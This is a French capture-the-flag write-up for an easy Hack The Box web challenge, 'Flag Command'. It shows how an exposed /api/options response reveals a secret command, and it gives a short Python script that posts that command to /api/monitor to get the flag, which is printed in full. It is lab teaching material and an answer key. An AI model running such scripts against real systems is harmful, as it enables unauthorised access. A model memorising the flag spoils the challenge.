# Flag Command

**Catégorie:** Web\
**Difficulté:** easy\
**Flag:** HTB{D3v3l0p3r\_t00l5\_4r3\_b35t\_wh4t\_y0u\_Th1nk??!}

## Challenge

{% hint style="info" %}
#### Description

***

Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker, disponible sur [Github](https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/web/\[Very%20Easy]%20Flag%20Command)
{% endhint %}

## Analyse du réseau

Si l’on regarde les ressources récupérées par le site, on voit une requête vers **`/api/options`**

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FOOTGMf0bhuXzJ0sPjnO5%2Fimage.png?alt=media&#x26;token=ae9af477-02bb-449b-a00e-59d59513c564" alt=""><figcaption></figcaption></figure>

Tout en bas du **JSON** reçu, on voit une option “secret”

Il suffit d’envoyer cette valeur pour récupérer le flag

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FUWfJi5QU3jhverK91VJc%2Fimage.png?alt=media&#x26;token=d6729720-8645-41aa-8ba4-a23ee16fcdc0" alt=""><figcaption></figcaption></figure>

Pour aller un peu plus loin, on peut voir lorsque l’on rentre une commande valide qu’une requête **POST** est faite sur le chemin **`/api/monitor`** avec comme data un json contenant notre commande

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FSr5gB2c7th403Rc9n20m%2Fimage.png?alt=media&#x26;token=a66e9294-37b2-4d6f-ba95-f3c5afa74380" alt=""><figcaption></figcaption></figure>

On peut donc faire la requête directement sans passer par le reste par exemple

***

## Script de résolution

```python
import requests

def solve(url):
    options = requests.get(f'{url}/api/options').json()
    secret = options['allPossibleCommands']['secret'][0]
    response = requests.post(f'{url}/api/monitor', json={'command': secret}).json()
    flag = response['message']
    print(f'Flag: {flag}')

if __name__ == '__main__':
    solve('http://83.136.249.138:37969')
```
